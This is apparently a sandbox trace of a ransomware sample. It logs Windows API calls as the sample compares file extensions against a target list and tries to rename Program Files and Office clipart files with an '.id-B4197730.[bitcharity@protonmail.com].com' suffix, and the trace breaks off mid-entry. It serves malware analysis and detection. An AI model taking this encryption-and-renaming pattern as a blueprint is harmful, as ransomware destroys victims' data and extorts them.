[0243.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0243.520] lstrlenW (lpString=".doc") returned 4 [0243.520] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0243.520] lstrlenW (lpString=".docx") returned 5 [0243.520] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0243.520] lstrlenW (lpString=".pdf") returned 4 [0243.520] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0243.520] lstrlenW (lpString=".xls") returned 4 [0243.520] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0243.520] lstrlenW (lpString=".xlsx") returned 5 [0243.520] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0243.520] lstrlenW (lpString=".ppt") returned 4 [0243.520] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0243.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0243.520] lstrlenW (lpString=".zip") returned 4 [0243.520] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0243.520] lstrlenW (lpString=".rar") returned 4 [0243.520] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0243.520] lstrlenW (lpString=".bz2") returned 4 [0243.520] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0243.520] lstrlenW (lpString=".7z") returned 3 [0243.520] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0243.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0243.520] lstrlenW (lpString=".dbf") returned 4 [0243.520] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0243.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0243.521] lstrlenW (lpString=".1cd") returned 4 [0243.521] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0243.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0243.521] lstrlenW (lpString=".jpg") returned 4 [0243.521] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0243.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0243.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0243.521] lstrlenW (lpString=".doc") returned 4 [0243.521] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0243.521] lstrlenW (lpString=".docx") returned 5 [0243.521] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0243.521] lstrlenW (lpString=".pdf") returned 4 [0243.521] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0243.521] lstrlenW (lpString=".xls") returned 4 [0243.521] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0243.521] lstrlenW (lpString=".xlsx") returned 5 [0243.521] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0243.521] lstrlenW (lpString=".ppt") returned 4 [0243.521] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0243.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0243.521] lstrlenW (lpString=".zip") returned 4 [0243.521] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0243.521] lstrlenW (lpString=".rar") returned 4 [0243.521] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0243.521] lstrlenW (lpString=".bz2") returned 4 [0243.522] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0243.522] lstrlenW (lpString=".7z") returned 3 [0243.522] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0243.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0243.522] lstrlenW (lpString=".dbf") returned 4 [0243.522] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0243.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0243.522] lstrlenW (lpString=".1cd") returned 4 [0243.522] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0243.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0243.522] lstrlenW (lpString=".jpg") returned 4 [0243.522] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0243.522] lstrcmpiW (lpString1=".avi", lpString2=".com") returned -1 [0243.522] lstrlenW (lpString="correct.avi") returned 11 [0243.522] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1130 [0243.523] GetFileSizeEx (in: hFile=0x1130, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=180172) returned 1 [0243.523] CloseHandle (hObject=0x1130) returned 1 [0243.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20 [0243.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0243.523] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0243.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0243.523] lstrlenW (lpString=".doc") returned 4 [0243.523] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0243.523] lstrlenW (lpString=".docx") returned 5 [0243.523] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0243.523] lstrlenW (lpString=".pdf") returned 4 [0243.524] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0243.524] lstrlenW (lpString=".xls") returned 4 [0243.524] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0243.524] lstrlenW (lpString=".xlsx") returned 5 [0243.524] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0243.524] lstrlenW (lpString=".ppt") returned 4 [0243.524] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0243.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0243.524] lstrlenW (lpString=".zip") returned 4 [0243.524] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0243.524] lstrlenW (lpString=".rar") returned 4 [0243.524] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0243.524] lstrlenW (lpString=".bz2") returned 4 [0243.524] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0243.524] lstrlenW (lpString=".7z") returned 3 [0243.524] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0243.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0243.531] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0244.714] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.714] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.715] CloseHandle (hObject=0x118c) returned 1 [0244.716] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.717] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.717] CloseHandle (hObject=0x118c) returned 1 [0244.718] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.719] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.719] CloseHandle (hObject=0x118c) returned 1 [0244.721] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.721] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.721] CloseHandle (hObject=0x118c) returned 1 [0244.722] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.722] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.722] CloseHandle (hObject=0x118c) returned 1 [0244.724] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.724] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.724] CloseHandle (hObject=0x118c) returned 1 [0244.727] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.727] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.727] CloseHandle (hObject=0x118c) returned 1 [0244.728] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.728] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.729] CloseHandle (hObject=0x118c) returned 1 [0244.730] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.730] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.730] CloseHandle (hObject=0x118c) returned 1 [0244.731] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.731] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.732] CloseHandle (hObject=0x118c) returned 1 [0244.733] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.733] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.734] CloseHandle (hObject=0x118c) returned 1 [0244.735] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.736] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.736] CloseHandle (hObject=0x118c) returned 1 [0244.741] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.741] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.742] CloseHandle (hObject=0x118c) returned 1 [0244.743] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.743] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.743] CloseHandle (hObject=0x118c) returned 1 [0244.745] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.745] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.745] CloseHandle (hObject=0x118c) returned 1 [0244.747] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.747] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.747] CloseHandle (hObject=0x118c) returned 1 [0244.748] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.748] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.749] CloseHandle (hObject=0x118c) returned 1 [0244.750] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.750] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.751] CloseHandle (hObject=0x118c) returned 1 [0244.752] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.752] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.752] CloseHandle (hObject=0x118c) returned 1 [0244.753] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.753] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.754] CloseHandle (hObject=0x118c) returned 1 [0245.448] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.448] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.448] CloseHandle (hObject=0x1178) returned 1 [0245.450] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.450] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.450] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.450] CloseHandle (hObject=0x1178) returned 1 [0245.451] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.451] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.452] CloseHandle 